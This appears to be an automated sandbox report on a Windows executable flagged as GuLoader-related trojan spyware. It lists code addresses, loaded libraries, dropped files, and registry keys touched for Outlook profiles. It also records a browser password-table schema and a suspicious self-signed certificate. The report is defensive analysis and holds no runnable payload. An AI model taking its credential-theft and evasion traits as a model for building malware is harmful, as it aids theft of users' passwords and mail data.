Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9F608	10_2_36E9F608
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9C408	10_2_36E9C408
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E99208	10_2_36E99208
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9D9E8	10_2_36E9D9E8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E975E8	10_2_36E975E8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9A7E8	10_2_36E9A7E8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9C3F9	10_2_36E9C3F9
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9EFC8	10_2_36E9EFC8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E98BC8	10_2_36E98BC8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9BDC8	10_2_36E9BDC8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9D3A8	10_2_36E9D3A8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E96FA8	10_2_36E96FA8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9A1A8	10_2_36E9A1A8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9E988	10_2_36E9E988
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9B788	10_2_36E9B788
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E98588	10_2_36E98588
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9CD68	10_2_36E9CD68
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E99B68	10_2_36E99B68
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9E978	10_2_36E9E978
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E97F48	10_2_36E97F48
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9B148	10_2_36E9B148
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9CD58	10_2_36E9CD58
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9F928	10_2_36E9F928
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9C728	10_2_36E9C728
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E99528	10_2_36E99528
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E92D30	10_2_36E92D30
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9DD08	10_2_36E9DD08
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E97908	10_2_36E97908
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36E9AB08	10_2_36E9AB08
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36EC1530	10_2_36EC1530
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36EC1C18	10_2_36EC1C18
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36EC0760	10_2_36EC0760
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36EC2300	10_2_36EC2300
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36EC0040	10_2_36EC0040
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36EC0E48	10_2_36EC0E48
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36EC0750	10_2_36EC0750
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36EC0021	10_2_36EC0021
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36EC0E41	10_2_36EC0E41

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: String function: 00402AD0 appears 51 times

Source: NDCNDvC27F.exe

Static PE information: invalid certificate

Source: NDCNDvC27F.exe, 0000000A.00000002.3080228173.0000000033DD7000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs NDCNDvC27F.exe

Source: NDCNDvC27F.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/17@5/5

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_0040458C GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_0040458C

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File created: C:\Users\user\AppData\Local\Temp\nsu9748.tmp

Jump to behavior

Source: NDCNDvC27F.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NDCNDvC27F.exe, 0000000A.00000002.3080268352.00000000340EF000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.000000003410D000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 0000000A.00000002.3080268352.00000000340FE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: NDCNDvC27F.exe	Virustotal: Detection: 66%
Source: NDCNDvC27F.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File read: C:\Users\user\Desktop\NDCNDvC27F.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NDCNDvC27F.exe "C:\Users\user\Desktop\NDCNDvC27F.exe"
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process created: C:\Users\user\Desktop\NDCNDvC27F.exe "C:\Users\user\Desktop\NDCNDvC27F.exe"
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process created: C:\Users\user\Desktop\NDCNDvC27F.exe "C:\Users\user\Desktop\NDCNDvC27F.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: stempelpudernes.lnk.0.dr	LNK file: ..\Pictures\muringerne\giggliest.pha
Source: dinosaurusserne.lnk.0.dr	LNK file: ..\..\..\..\Users\Public\Pictures\eksistensberettigelsen.pre

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2042730966.000000000482F000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_0040620C GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0040620C

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_10002D50 push eax; ret	0_2_10002D7E
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360A273 pushad ; ret	10_2_0360A27A
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_0360A2E0 pushad ; ret	10_2_0360A2E2
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03608AC1 push ecx; ret	10_2_03608AC2
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03608AC3 push eax; ret	10_2_03608ACA
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_036098E3 push edi; ret	10_2_036098EA
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03608E79 push esi; ret	10_2_03608E7A
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03608E7B push esi; ret	10_2_03608E82
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03608D69 push edx; ret	10_2_03608D6A
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_03608CE9 push edx; ret	10_2_03608CEA
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 10_2_36203AD4 push ebx; retf	10_2_36203ADA

Persistence and Installation Behavior

AI detected suspicious PE digital signature

Source: Initial sample

Joe Sandbox AI: Detected suspicious elements in PE signature: Multiple highly suspicious indicators: 1) Self-signed certificate (issuer same as subject) which is not trusted by system. 2) Email domain 'Talrigeste.tj' is from Tajikistan (.tj), a high-risk country. 3) Organization 'Gungrede' is not a known legitimate company. 4) Large time gap between compilation date (2013) and certificate creation (2024) suggests possible certificate manipulation. 5) The organizational unit 'Mediateker Ideliste Nonlevel' appears nonsensical and suspicious. 6) While the country is listed as FR (France), the unusual naming patterns and Tajikistan email don't align with a legitimate French business. 7) The certificate validation explicitly failed with an untrusted root certificate error. These factors strongly suggest this is a malicious or compromised executable.

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File created: C:\Users\user\AppData\Local\Temp\nsi9FC6.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
